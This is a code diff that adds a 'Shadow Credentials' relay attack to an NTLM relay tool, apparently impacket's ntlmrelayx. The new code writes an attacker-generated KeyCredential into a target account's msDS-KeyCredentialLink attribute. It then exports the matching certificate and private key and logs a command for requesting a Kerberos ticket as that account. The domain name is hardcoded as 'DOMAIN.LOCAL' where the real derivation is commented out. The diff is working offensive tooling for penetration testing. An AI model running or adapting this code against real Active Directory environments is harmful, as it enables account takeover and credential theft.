diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 4ac3697bd4..f1f6499829 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -166,6 +166,8 @@ def start_servers(options, threads): c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) + c.setIsShadowCredentialsAttack(options.shadow_credentials) + c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path) if server is HTTPRelayServer: c.setListeningPort(options.http_port) @@ -333,6 +335,17 @@ def stop_servers(threads): adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') + # Shadow Credentials attack options + shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") + shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False, + help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)') + shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from') + shadowcredentials.add_argument('--pfx-password', action='store', required=False, + help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)') + shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", " PFX"], type=lambda choice: choice.upper(), default="PFX", + help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') + shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + try: options = parser.parse_args() except Exception as e: diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 42cf1a2e69..0038787381 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -40,6 +40,11 @@ from impacket.uuid import string_to_bin, bin_to_string from impacket.structure import Structure, hexdump +from dsinternals.system.Guid import Guid +from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 +from dsinternals.system.DateTime import DateTime +from dsinternals.common.data.hello.KeyCredential import KeyCredential + # This is new from ldap3 v2.5 try: from ldap3.protocol.microsoft import security_descriptor_control @@ -233,6 +238,91 @@ def addUserToGroup(self, userDn, domainDumper, groupDn): else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result))) + + def shadowCredentialsAttack(self, domainDumper): + currentShadowCredentialsTarget = self.config.ShadowCredentialsTarget + # If the target is not specify, we try to modify the user himself + if not currentShadowCredentialsTarget: + currentShadowCredentialsTarget = self.username + + if currentShadowCredentialsTarget in delegatePerformed: + LOG.info('Shadow credentials attack already performed for %s, skipping' % currentShadowCredentialsTarget) + return + + LOG.info("Searching for the target account") + + # Get the domain we are in + domaindn = domainDumper.root + # domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] + domain = "DOMAIN.LOCAL" + + # Get target computer DN + result = self.getUserInfo(domainDumper, currentShadowCredentialsTarget) + if not result: + LOG.error('Target account does not exist! (wrong domain?)') + return + else: + target_dn = result[0] + LOG.info("Target user found: %s" % target_dn) + + LOG.info("Generating certificate") + certificate = X509Certificate2(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) + LOG.info("Certificate generated") + LOG.info("Generating KeyCredential") + keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime()) + LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD()) + LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString()) + self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) + results = None + for entry in self.client.response: + if entry['type'] != 'searchResEntry': + continue + results = entry + if not results: + LOG.error('Could not query target user properties') + return + try: + new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()] + LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget) + self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) + if self.client.result['result'] == 0: + LOG.info("Updated the msDS-KeyCredentialLink attribute of the target object") + if self.config.ShadowCredentialsOutfilePath is None: + path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) + LOG.debug("No outfile path was provided. The certificate(s) will be store with the filename: %s" % path) + else: + path = self.config.ShadowCredentialsOutfilePath + if self.config.ShadowCredentialsExportType == "PEM": + certificate.ExportPEM(path_to_files=path) + LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem") + LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem") + LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") + LOG.info("Run the following command to obtain a TGT") + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, currentShadowCredentialsTarget, path)) + elif self.config.ShadowCredentialsExportType == "PFX": + if self.config.ShadowCredentialsPFXPassword is None: + password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20)) + LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password) + else: + password = self.config.ShadowCredentialsPFXPassword + certificate.ExportPFX(password=password, path_to_file=path) + LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx") + LOG.info("Must be used with password: %s" % password) + LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") + LOG.info("Run the following command to obtain a TGT") + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, currentShadowCredentialsTarget, path)) + delegatePerformed.append(currentShadowCredentialsTarget) + else: + if self.client.result['result'] == 50: + LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message']) + elif self.client.result['result'] == 19: + LOG.error('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message']) + else: + LOG.error('The server returned an error: %s' % self.client.result['message']) + except IndexError: + LOG.info('Attribute msDS-KeyCredentialLink does not exist') + return + def delegateAttack(self, usersam, targetsam, domainDumper, sid): global delegatePerformed if targetsam in delegatePerformed: @@ -857,6 +947,11 @@ def run(self): self.addComputer(computerscontainer, domainDumper) return + # Perform the Shadow Credentials attack if it is enabled + if self.config.IsShadowCredentialsAttack: + self.shadowCredentialsAttack(domainDumper) + return + # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 1fdb98ad78..b01dbe1c18 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -98,6 +98,12 @@ def __init__(self): self.isADCSAttack = False self.template = None + # Shadow Credentials attack options + self.IsShadowCredentialsAttack = False + self.ShadowCredentialsPFXPassword = None + self.ShadowCredentialsExportType = None + self.ShadowCredentialsOutfilePath = None + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -219,3 +225,12 @@ def setADCSOptions(self, template): def setIsADCSAttack(self, isADCSAttack): self.isADCSAttack = isADCSAttack + + def setIsShadowCredentialsAttack(self, IsShadowCredentialsAttack): + self.IsShadowCredentialsAttack = IsShadowCredentialsAttack + + def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentialsPFXPassword, ShadowCredentialsExportType, ShadowCredentialsOutfilePath): + self.ShadowCredentialsTarget = ShadowCredentialsTarget + self.ShadowCredentialsPFXPassword = ShadowCredentialsPFXPassword + self.ShadowCredentialsExportType = ShadowCredentialsExportType + self.ShadowCredentialsOutfilePath = ShadowCredentialsOutfilePath diff --git a/requirements.txt b/requirements.txt index fd8459bb80..3791297793 100644 --- a/requirements.txt +++ b/requirements.txt @@ -8,3 +8,4 @@ ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 ldapdomaindump>=0.9.0 flask>=1.0 pyreadline;sys_platform == 'win32' +dsinternals